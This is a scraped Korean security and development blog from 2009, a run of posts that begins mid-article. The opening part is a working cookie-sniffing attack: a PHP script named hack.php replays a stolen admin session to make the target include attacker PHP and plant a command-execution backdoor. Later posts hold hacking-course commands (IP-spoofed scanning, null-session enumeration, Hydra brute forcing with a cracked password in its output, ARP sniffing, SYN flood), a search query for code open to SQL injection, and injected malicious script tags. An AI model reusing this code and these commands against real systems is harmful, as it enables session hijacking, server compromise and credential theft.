파일로 지정한 값이 존재한다는 것이다. 해당 값을 읽고 include 시킴 */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
fclose($fp);
@include "$data";
}
else
echo "
<html>
<head>
<title>beist test target program</title>
</head>
";
?>


<body>
<center><font size=2>
<br><br><br>
this is beist test target program<br><br><br>
<a href=memo.html><font color=black>read memo</a><br>
<a href=memo2.html><font color=black>write memo</a><br>
<a href=pds.html><font color=black>pds</a><br><br>
<a href=admin_login.html><font color=red>admin login</a><br>
</body>
</html>


index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다.

다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다.


header.txt

<html>
<head>
<title>beist cgi header file</title>
</head>
<center><font size=2><br><br>
Hello, everybody. this is header file!!<br><br>

파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다.


[화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정)


이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다.


[화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html)

index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다.

hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다.

이제 본격적으로 hack.php 의 소스를 알아보겠습니다.

hack.php

<?

/* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */

$day = date("Y.m.d", mktime());
$time = date("H:i:s", mktime());


/* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면

에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */


if(!$cook)
{
$fp=fopen("/tmp/beist-error.txt", "a++");
if($url)
fputs($fp, "$day - $time : $url access\n");
else
fputs($fp, "$day - $time : $REMOTE_ADDR access\n");
fclose($fp);
exit;
}

echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";


/* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의.

targetsession 은 cook 값. */

$total = substr($url, strlen("http://"), 100);

$use = split("/", $total);

$temp = "http://";

for($count=0;$count<sizeof($use)-2;$count++)
{
$temp .= $use[$count];
$temp .= "/";
}

$targetcgi = $temp;
$targetaddress = $use[0];
$targetsession = $cook;
$targettotal = $total;

echo "targetcgi : $targetcgi<br>";
echo "targetaddress : $targetaddress<br>";
echo "targetsession : $targetsession<br>";
echo "targettotal : $targettotal<br>";

/* 로그 파일에 기록 */


$fp=fopen("/tmp/beist-cookie.txt", "a++");
fputs($fp, "time : $day - $time\n");
fputs($fp, "address : $targetaddress\n");
fputs($fp, "session : $targetsession\n");
fputs($fp, "URL : $targettotal\n\n");
fclose($fp);

/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */

$includefile = ".%2Fdata%2Fbeist.txt";

/* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */

$argument = "head=$includefile";

/* POST header 에 보낼 데이터로, argument 의 길이를 저장 */

$argulength = strlen($argument);

/* header 정의 */

$httpheader=
"POST $targetcgi"."admin_menu.html HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n".
"Referer: $targetcgi"."admin_menu.html\r\n".
"Accept-Language: ko\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (atfile.com))\r\n".
"Host: 2nom.net\r\n".
"Content-Length: $argulength\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: $targetsession\r\n\r\n";

/* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */

$sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30);
if(!$sock)
{
echo "$errstr ($errno)<br>";
$fp=fopen("/tmp/beist-error.txt", "a++");
fputs($fp, "$day - $time : $targetaddress connect failed\n");
fclose($fp);
exit;
}

/* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */

fputs($sock, $httpheader);
fputs($sock, $argument);
echo fread($sock, 1024);
fclose($sock);

?>

hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다.

hack.php URL - http://beist.hackerscomputer/hack.php


(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림

이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다.

[화면8] http://beist.org/~beist/auto/read.html (read memo page)

(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격

Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다.

[화면10] Admin 이 test.txt 를 읽었을 때 상황

무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다.

[beist@beist auto]$ cat data/head.txt
./data/beist.txt

data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다.
(7) beist.php 를 이용하여 nobody shell 획득

header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다.

백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다.

[화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일]

id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다.


4. 마치는 말

Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다.

위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다.

그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다.

이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다.

마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다.


2009/08/26 17:33 2009/08/26 17:33

How to add validation logic to HttpServletRequest

From OWASP

Jump to: navigation, search

Overview

In a Java EE application, all user input comes from the HttpServletRequest object. Using the methods in that class, such as getParameter, getCookie, or getHeader, your application can get "raw" information directly from the user's browser. Everything from the user in the HttpServletRequest should be considered "tainted" and in need of validation and encoding before use.

So it would be nice if we could add validation to the HttpServletRequest object itself, rather than making separate calls to validation and encoding logic. This way, developers would get some validation by default. This article presents an approach to building validation into the HttpServletRequest object so that it is mandatory for developers to use the validated data.

Most projects have an "allow everything" approach to validation. What we want is a Positive security model that denies everything that's not explicitly allowed. So using this approach, you can start your project with a very restrictive set of allowed characters, and expand that only as necessary.

Approach

We're going to use a Java EE filter to wrap all incoming requests with a new class that extends HttpServletRequestWrapper, a utility class designed for just this type of application. Then all we have to do is override the specific methods that get user data and replace them with calls that do validation before returning data.

The first thing to do is to create the ValidatingHttpRequest. Note that this class calls a new custom method named "validate" that throws a ValidationException if anything goes wrong. You can do a lot in the validate method, including encoding the input before it's returned to the application.


   public class ValidatingHttpRequest extends HttpServletRequestWrapper {
      
       public ValidatingHttpRequest(HttpServletRequest request) {
               super(request);
       }
      
       public String getParameter(String name) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return validate( name, req.getParameter( name ) );
       }
      
       // Danger - you can optionally allow getting the raw parameter
       public String getRawParameter( String name ) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return req.getParameter( name );
       }
      
       ... follow this pattern for getHeader(), getCookie(), etc...        
      
       // This is a VERY restrictive pattern alphanumeric < 20 chars
       // It's easy to make this a parameter for the filter and configure in web.xml
       private Pattern pattern = Pattern.compile("^[a-zA-Z0-9]{0,20}$");
      
       private String validate( String name, String input ) throws ValidationException {
               String canonical = canonicalize( input );  // always canonicalize first
               if ( !pattern.matcher( canonical ).matches() ) {
                       throw new ValidationException( "Improper format in " + name + " field";
               }
               return HTMLEntityEncode( canonical );
       }
      
       // Simplifies input to its simplest form to make encoding tricks more difficult
       private String canonicalize( String input ) {
               String canonical = sun.text.Normalizer.normalize( input, Normalizer.DECOMP, 0 );
       }
      
       // Return HTML Entity code equivalents for any special characters
       public static String HTMLEntityEncode( String input ) {
               StringBuffer sb = new StringBuffer();
               for ( int i = 0; i < input.length(); ++i ) {
                       char ch = input.charAt( i );
                       if ( ch>='a' && ch<='z' || ch>='A' && ch<='Z' || ch>='0' && ch<='9' ) {
                               sb.append( ch );
                       } else {
                               sb.append( "&#" + (int)ch + ";" );
                       }
               }
               return sb.toString();
       }
      
   }

Then all we have to do is make sure that all the requests in our application get wrapped in our new wrapper. It's easy to implement with a Java EE filter.


   public class ValidationFilter implements Filter {
       public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
               chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response);
       }
   }

To add the filter to our application, all we have to do is put these classes on our application's classpath and then set up the filter in web.xml.



  <filter>
     <filter-name>ValidationFilter</filter-name>
     <filter-class>ValidationFilter</filter-class>
  </filter>
      
  <filter-mapping>
     <filter-name>ValidationFilter</filter-name>
     <url-pattern>/*</url-pattern>
  </filter-mapping>

Now all requests will go through the filter, get validated, and throw an exception if there's a problem. You'll want to set up a handler for ValidationExceptions, so that they get handled properly. If ValidationException extends SecurityException, and you've set up a handler for SecurityException that logs out users who try to hack, you'll be well on your way to a secure application.

2007-04-02 22:19:53
2009/08/26 17:29 2009/08/26 17:29
구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드가 공개되었습니다.

쿼리 : lang:php Where \$_POST -addslashes
쿼리 결과 : http://www.google.com/codesearch?q=+lang:php+Where+%5C%24_POST+-addslashes&sa=N

쿼리를 잘 보시면 PHP 언어 중 Where 와 $_POST 절이 나타나면서 addslashes 함수를 사용하지 않는 코드를 찾고 있는 것을 보실 수 있습니다.

대략 어떤 형식으로 검색을 하는지 아시겟죠?
2009/08/26 17:20 2009/08/26 17:20

Module 1 - Information Security Overview

  • 학술적인 정의의 정보보안은 각종 위협으로부터 안전하게 보호하여 정보 시스템의 "기밀성", "무결성", "가용성"을 보장하는 것을 말한다.
  • Hacker 는 system 과 network 분야의 H/W, S/W 전문가를 지칭하는 의미로 고도의 전문 프로그래밍 실력을 가지고 합법적인 system, network 관리를 하는 사람을 의미합니다.
  • 전설적인 해커 Kevin Mitnick : 이론만으로 존재했던 IP Spoofing 공격을 실제로 공격에 사용한 최초의 해커로서 그의 실력을 입증하였다.
  • 해커의 분류 : Elite, Semi Elite, Developed Kiddie, Script Kiddie, 레이머
  • 보안 10대 불변 법칙

유용한 사이트
  • http://packetstorm.linuxsecurity.com - 익스플로잇
  • http://www.krcert.or.kr - 통계분석 메뉴
  • http://www.hackerwatch.org - 전세계 인터넷 트래픽 맵
  • http://www.zone-h.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌
  • http://www.hackersnews.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌

Module 2 - Attack Technique

  • 전통적인 공격기법
  1. 1단계 : 정보수집 -> 전체단계중 90% 이상을 차지한다.

  2. 2단계 : 시스템 침입
  3. 3단계 : 공격 전이

  • 공격기법 세분화
  1. Footprinting
  2. Scanning
  3. Enumeration
  4. Gaining Access
  5. Escalating Privilege
  6. Pilfering
  7. Covering Tracks
  8. Backdoor
  9. Denial of Service

Ping을 실행했을때, TTL 값이 128 근처이면 윈도우 운영체제이고 유닉스 계열 운영체제는 64 나 255 가 된다.


Module 3 - Footprinting

  • Social Engineering

    • 가장 쉬우면서도 가장 확실한 방법일 수 있는 것이 바로 이 사회공학 기법이다. 희대의 해커였던 케빈 미트닉은 기술 또한 우수했지만 이 사회공학 기법에 있어서 타의 추종을 불허한다고 한다.
    • 합법적인 사용자가 들어가는 데 바로 뒤에 붙어서 들어가려고 시도 (Piggybacking)
    • 휴지통 뒤지기
  • whois

whois는 인터넷에 등록된 domain에 대한 정보를 제공해주는 서비스이다. 이 서비스를 통해 master/slave name server 의 IP, 관리자의 전화번호를 비롯하여 email address, 기관의 지리적 위치, 할당 받은 IP Address, 최종 업데이트일자 등을 확인할 수 있다.


http://www.archive.org

http://www.ip-adress.com


Module 4 - Scanning

http://www.iana.org

http://insecure.org - NMAP (스캐닝)

http://www.wireshark.org - WireShark (패킷캡쳐), AirPcap - 아주 강력한 무선 해킹 툴


출발지 주소를 속이면서(IP Spoof) 해당 호스트 스캐닝 하기

  1. # nmap -v -sS -S 100.100.100.100 -e eth0 192.168.234.129

http://www.foundstone.com - Attacker


Portsentry (iptables 방화벽 연동)

step 1 : http://www.rpmfind.net --> portsentry 검색어 입력 검색

step 2 : wget ~~~

step 3 : rpm -Uvh portsentry ~~

step 4 : lokkit (방화벽활성화)

step 5 : iptables -F (기존 방화벽 rule 제거)

step 6 : service portsentry start

step 7 : 윈2000 에서 리눅스 스캔 (차단당하는지 확인)


Module 5 - Enumeration

윈도우즈 해킹을 위한 준비(스캐닝)


http://securityfocus.com/archive/

http://www.securiteam.com

http://sectools.org - Top 100 Network Security Tools

http://www.milw0rm.com

http://www.hackeroo.com

http://www.nessus.org - 가장 강력한 취약점분석 도구


Nikto - Web Server Scanner

http://www.securiteam.com --> search 에서 nikto 로 검색

http://www.cirt.net/code/nikto.shtml


http://www.watchfire.com/ --> AppScan 상용 웹스캐너


MD5SUM for Windows

http://www.pc-tools.net/win32/md5sums


Null Session 를 이용한 정보수집 방법

  1. c:> net use \\아이피주소\IPC$ "" /u:""
  2. c:> winfo 아이피주소 -v
  3. c:> userinfo \\아이피주소 Administrator


Hydra 를 이용하여 Administrator 비밀번호 알아내기

http://packetstorm.linuxsecurity.com/ 에서 Search 에 hydra 입력

hydra 다운로드

tar xvfz hydra-5.4-src.tar.gz

http://packetstorm.linuxsecurity.com/Crackers/wordlists/에서 passlist 다운로드

# cd hydra-5.4-src

# ./configure && make && make install

# ./hydra -l administrator -P /root/passlist 192.168.234.129 smtp-auth

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-18 16:20:17
[DATA] 16 tasks, 1 servers, 5248 login tries (l:1/p:5248), ~328 tries per task
[DATA] attacking service smtp-auth on port 25
[25][smtpauth] host: 192.168.234.129   login: administrator   password: 12345
[STATUS] attack finished for 192.168.234.129 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2007-12-18 16:20:21



http://www.adventnet.com --> 공짜 로그서버 제공 (5개 서버까지 등록 가능) --> EventLog Analyzer 4


tripwire 설치

  1. # yum -y install tripwire
  2. # tripwire-setup-keyfiles

    # tripwire --init


  3. # tripwire --check



Unix 용 루트킷 검색 프로그램

http://www.chkrootkit.org --> chkrootkit

http://www.rootkit.nl --> rkhunter


Windows 용 루트킷 검색 프로그램

http://technet.microsoft.com --> sysinternals --> Securiy Utilities --> RootkitRevealer, Process Explorer


Sniffing Program

http://www.oxid.it/cain.html


카인과아벨를 이용한 스니핑 방법

Sniffer 탭 클릭 --> Configure 메뉴 --> 랜카드 선택, ARP 탭:가짜 IP, MAC 입력(59.28.225.180) --> Start Sniffer and Start ARP (두번째, 세번째 아이콘 클릭) --> 플러스 아이콘 클릭 --> All --> 모든 IP MAC 이 다 보이게 됨. --> 밑에 ARP 탭 선택 --> 플러스 아이콘 클릭 --> 스니핑하고자 하는 IP 선택  --> 스니핑 시작 --> Password 탭 선택하면 비밀번호가 보임



SYN Flooding Attack

syn 192.168.x.x -p 80

2009/08/25 14:29 2009/08/25 14:29
Sphinx를 사용하여 콘텐트를 색인하고, 텍스트를 빠르게 찾으며, 유용한 검색 결과 만들기


http://www.sphinxsearch.com/


무료의 오픈 소스 검색 엔진으로서 텍스트를 매우 빠르게 검색하도록 설계되었다.

예를 들어, 다섯 개의 인덱스 컬럼과 약 30만 개의 행을 가진 활성 데이터베이스에서, 각 컬럼은 15 단어를 포함하고 있다면, Sphinx는 "any of these words" 검색 결과를 100분의 1초 안에 찾아낸다.
(2-GHz AMD Opteron 프로세서, 1 GB RAM, Debian Linux® Sarge).

C++로 작성되어 있고, Windows 기반도 지원 한다고 합니다.
요즘 검색엔진 프로젝트가 꾀 많군요..

자세한 내용은 다음 링크의 문서를 참고 해보세요..^^;;

http://www.ibm.com/developerworks/kr/library/
os-php-sphinxsearch/index.html

2009/08/25 14:14 2009/08/25 14:14
직간접적으로 운영되는 서버의 사이트중 하나에 다음 Sql Injection 코드가 삽입 되었습니다.. 최근에 삽입되는 종류가 매우 다양 하군요.. -_-;;

<script src=hxxp://bbs.juedui<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp://www.bluell.cn/ip.js></script>
<script src=hxxp:/<script src=hxxp://www.bluell.cn/ip.js></script>

직접 위 주소의 ip.js 파일을 다운로드 해볼려니 삭제된 것 같습니다.

구글링 결과 354개.

http://www.google.co.kr/search?complete=1&hl=ko&newwindow=1&q=bluell.cn%2Fip.js&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=-1&oq=

위 코드중에 짤린 부분인,.
juedui.com 도 악성코드 위험 사이트 군요.

악성코드에 대한 보다 많은 정보는 다음 블로그 추천드립니다.
참고해 보세요.!! ^^;;

http://swbae.egloos.com/
2009/08/25 14:09 2009/08/25 14:09
CID를 구축하는데 CID장비에서는 전화번호를 "-" 없이 번호를 붙여서 전송

고객 DB에는 고객 연락처에 "-"붙여서 사용.....

WHERE 절에 Replace(tel_no, '-', '') = @연락처....이렇게 하려니 조건절에 함수를 사용해서

꺼림직하여 프로시저로 작성



/* TITLE : CID에서 오는 전화번호 중간에 "-" 정확하게 삽입 작성자 : 지현명 작성일자 : 2009년 7월 20일 내용 : - 고객 DB에 전화번호와 핸드폰번호가 중간에 "-"가 삽입되어 저장 - 기존 다른 App와 연동되어 있기 때문에 DB에 저장된 데이터를 "-"없이 변경 못함. - 컬럼 두개 추가하는것도 생각해 봤는데 용량만 차지.... - CDI에서 "-"없이 들어오는 번호를 핸드폰/국선 구분하여 "-" 삽입후 고객연락처와 비교 - WHERE절에서 Replace(TEL_NO_COM, '-', '') = @TEL_NO ..이렇게 하면 인덱스를 이용 못하고 - 검색시 상당히 오래 걸림 <- 정원혁 선생님 교제에 있음... -- 국내 지역번호 --서울 02 경기 031 인천 032 강원 033 충남 041 대전 042 충북 043 부산 051 울산 052 대구 053 경북 054 경남 055 전남 061 광주 062 전북 063 제주 064 --서울 말고는 전부 3자리... */ -- EXEC CID_CUST_INFO_SEARCH '01190773532' ALTER PROC CID_CUST_INFO_SEARCH @TEL_NO VARCHAR(20) AS DECLARE @TEL_NO_1 VARCHAR(3) --통신사/지역번호 DECLARE @TEL_NO_2 VARCHAR(4) --중간번호 DECLARE @TEL_NO_3 VARCHAR(4) -- 최종번호 DECLARE @TEL_NO_SEARCH VARCHAR(20) -- '-' 붙여진 최종번호 DECLARE @TEL_NO_TMP VARCHAR(20) --오리지널번호 임시 저장 SET @TEL_NO = LTRIM(RTRIM(@TEL_NO)) SET @TEL_NO_TMP = @TEL_NO IF CHARINDEX('01', LEFT(RTRIM(LTRIM(@TEL_NO)), 2)) = 1 BEGIN -- 핸드폰 일 경우 SET @TEL_NO_1 = LEFT(@TEL_NO, 3) -- 01190771234->011 -- SET @TEL_NO = REPLACE(@TEL_NO, @TEL_NO_1, '') -- 01190771234->90771234 SET @TEL_NO = SUBSTRING(@TEL_NO, 4, LEN(@TEL_NO)) -- 통신사 뒷자리부터 잘라내기 SET @TEL_NO_3 = RIGHT(@TEL_NO, 4) -- 90771234->1234 SET @TEL_NO_2 = REVERSE(SUBSTRING(REVERSE (@TEL_NO), 5, LEN(@TEL_NO)-4 )) -- 90771234->리버스->43217709->7709만 잘라냄..'-4'는 최종번호 잘라낸 자리수->리버스->9077 SET @TEL_NO_SEARCH = @TEL_NO_1 + '-' + @TEL_NO_2 + '-' + @TEL_NO_3 END ELSE BEGIN --일반전화 IF LEFT(@TEL_NO, 2) = '02' BEGIN SET @TEL_NO_1 = LEFT(@TEL_NO, 2) -- 0221041234 -> 02 -- SET @TEL_NO = REPLACE(@TEL_NO, @TEL_NO_1, '') -- 0221041234->21041234 SET @TEL_NO = SUBSTRING(@TEL_NO, 3, LEN(@TEL_NO)) SET @TEL_NO_3 = RIGHT(@TEL_NO, 4) -- 21041234->1234 SET @TEL_NO_2 = REVERSE(SUBSTRING(REVERSE (@TEL_NO), 5, LEN(@TEL_NO)-4 )) -- 21041234->리버스->43214012->4012만 잘라냄..'-4'는 최종번호 잘라낸 자리수->리버스->2104 SET @TEL_NO_SEARCH = @TEL_NO_1 + '-' + @TEL_NO_2 + '-' + @TEL_NO_3 END ELSE BEGIN SET @TEL_NO_1 = LEFT(@TEL_NO, 3) -- 0332542011 -> 031 -- SET @TEL_NO = REPLACE(@TEL_NO, @TEL_NO_1, '') -- 0332542011->2542011 SET @TEL_NO = SUBSTRING(@TEL_NO, 4, LEN(@TEL_NO)) SET @TEL_NO_3 = RIGHT(@TEL_NO, 4) -- 21040152->0152 SET @TEL_NO_2 = REVERSE(SUBSTRING(REVERSE (@TEL_NO), 5, LEN(@TEL_NO)-4 )) -- 2542011->리버스->1102452->452만 잘라냄..'-4'는 최종번호 잘라낸 자리수->리버스->254 SET @TEL_NO_SEARCH = @TEL_NO_1 + '-' + @TEL_NO_2 + '-' + @TEL_NO_3 END END SELECT A.CUST_CD, A.CUST_NM, A.TEL_NO_COM, A.TEL_NO_MOB, A.STR_CD, (SELECT STR_CD_NM FROM RMSMST1 WITH(NOLOCK) WHERE STR_CD = A.STR_CD) STR_NM, A.CUST_RANK_DIV, (SELECT DESCRP FROM RMBMCM1 WITH(NOLOCK) WHERE GRP_CD = '58' AND DETAIL_CD = A.CUST_RANK_DIV) CUST_RANK, -- 등급명 A.ZIPCODE, A.ADDR1 + ' ' + A.ADDR2 + ' '+ A.ADDR3 + ' ' + A.ADDR4 + ' ' + A.ADDR5 AS ADDR FROM RCCMCS1 A WITH(NOLOCK) WHERE CASE WHEN CHARINDEX('01', LEFT(RTRIM(LTRIM(@TEL_NO_TMP)), 2)) = 1 THEN A.TEL_NO_MOB --핸드폰일경우 ELSE A.TEL_NO_COM --국선일경우 END = @TEL_NO_SEARCH
2009/08/17 10:28 2009/08/17 10:28
We have discovered one interesting technique to hide malicious code from researchers.

--> 우리는 보안연구자들에게서 악성코드를 숨기는 재미난 기술을 한가지 발견했다.
The initial infection was common iframe injection on a web page. The iframe page loaded tiny shockwave file, which was only 158 bytes long!

--> 초기 감염방식은 일반적인 웹페이지 iframe 삽입이다. iframe 페이지는 아주 조그만 쇼크웨이브 파일에 실행이 되는데 그 크기 딱 158바이트이다
 
This file uses internal ActionScript global variable ("$version") to get the version of user's OS and plugin for handling Shockwave files.
--> 이 파일은 내부의 ActionScript 전역변수("$version")로 사용자 OS 버전정보를 가져오거나 쇼크웨이브 처리하는 플러그인에 사용된다.

사용자 삽입 이미지


The $version variable evaluates to something like "WIN 9,0,12,0", which is short platform name, version and revision numbers of Adobe Flash Player plugin. After that 4561.SWF tries to download and run another .SWF basing on this string. In the case above it tried to download "WIN 9,0,12,0i.swf" file.

The server replied with famous ERROR 404: “File Not Found”. But that was done for purpose. If the 4561.swf file was tested
--> 서버는 ERROR 404:"File Not Found"로 응답한다.  그러나 그것이 사실상 의도된대로 수행되어 진 것이다.
on an automated sandbox a researcher may have not notice the fact that unavailability of the second .SWF file was not due to the absence of malicious code on the server, but due to the different Adobe Flash Player plugin that was used in the sandbox.

I have checked all the possible versions and found 6 different .SWF exploits.
--> 6개의 .SWF 해킹코드를 발견했다.

WIN 9,0,115,0i.swf
WIN 9,0,16,0i.swf
WIN 9,0,28,0i.swf
WIN 9,0,45,0i.swf
WIN 9,0,47,0i.swf
WIN 9,0,64,0i.swf

The files were already detected by our engine as Exploit.SWF.Downloader.c but they were new variations and were not in malware collection. The first sample of Exploit.SWF.Downloader was detected on 2008-05-27.

This exploit uses a vulnerability of Adobe Flash Player, built on incorrect image size handling. I discovered embedded jpeg data with wrong image size inside.


사용자 삽입 이미지



So, to draw the line, I would like to repeat that this technique allows to carefully download specific exploits for specific version of the vulnerable Adobe Flash Player plugin and at the same time allows to hide the actual malicious code from curious researchers.

나머지는 번역하기 넘 귀찮아서 천천히 할게요 ^^
2009/08/11 14:08 2009/08/11 14:08

http://example.com/page.html, http://example.com/page.html?param1=1, http://www.example.com/page.html 등 한 문서를 가리키는 여러 URL은 검색엔진에 심각한 중복 문제를 안겨줍니다. 최근 구글, 야후, 마이크로소프트가 이를 해결할 수 있는 방법을 제시하였습니다.

<link rel="canonical" href="http://example.com/page.html" />

위의 코드를 넣어주면 끝입니다. 간단하죠? 단어 그대로 표준 혹은 대표 링크를 선언해주는 것입니다. 이미 많은 발표자료, 동영상 등이 공개되어 있네요. 보시죠~ 참고로 첫 링크만 보시면 정리가 다 됩니다. :)

2009/08/10 12:43 2009/08/10 12:43

1.데이터와 비즈니스 어플리케이션을 잘 알아야 한다.

동일한 정보는 다른 비즈니스 데이터 원천으로부터 검색될 수 있다. 이러한 원천에 익숙해야 한다. 당신은 당신의 데이터베이스 안의 데이터의 크기와 분포를 반드시 알아야 한다. 또한 SQL을 작성하기 전에 비즈니스 개체 안의 관계와 같은 데이터 모델을 전체적으로 이해해야 한다. 이러한 이해는 당신이 여러 테이블에 서 정보를 검색하는데 있어서 보다 좋은 쿼리를 작성할 수 있다. DESIGNER/2000 과 같은 CASE TOOLS은 다른 비즈니스와 데이터베이스 객체사이의 관계를 문서화 하는데 좋은 역할을 한다.

2.실제 데이터를 가지고 당신의 쿼리를 검사하라.

대부분의 조직은 개발, 검사, 제품의 3가지 데이터베이스 환경을 가진다. 프로그래머는 어플리케이션을 만들고 검사하는데 개발 데이터베이스 환경을 사용하는데, 이 어플리케이션이 제품 환경으로 전환되기 전에 프로그래머와 사용자에 의해 검사 환경하에서 보다 엄격하게 검토되어야 한다.



SQL이 검사 환경하에서 테스트될 때, 검사 데이터베이스가 가지고 있는 데이터는 제품 데이터베이스를 반영해야 한다. 비실제적인 데이터를 가지고 테스트된 SQL문은 제품 안에서는 다르게 작동할 수 있다. 엄격한 테스트를 보장하기 위해서는, 검사 환경하에서의 데이터 분포는 반드시 제품 환경에서의 분포와 밀접하게 닮아야 한다.

3.동일한 SQL을 사용하라.

가능한한 BIND VARIABLE, STORED PROCEDURE, PACKAGE의 이점을 활용하라.


IDENTICAL SQL문의 이점은 PARSING이 불필요하기에 데이터베이스 서버안에서 메모리 사용의 축소와 빠른 수행을 포함한다. 예로서 아래의 SQL 문은 IDENTICAL하지 않다.

SELECT * FROM EMPLOYEE WHERE EMPID = 10;
SELECT * FROM EMPLOYEE WHERE EMPID = 10;
SELECT * FROM EMPLOYEE WHERE EMPID = 20;


그러나 I_EMPID라고 이름 주어진 BIND VARIABLE을 사용하면 SQL 문은 이렇게 된다.



SELECT * FROM EMPLOYEE WHERE EMPID = :I_EMPID;

4.주의 깊게 인덱스를 사용하라.

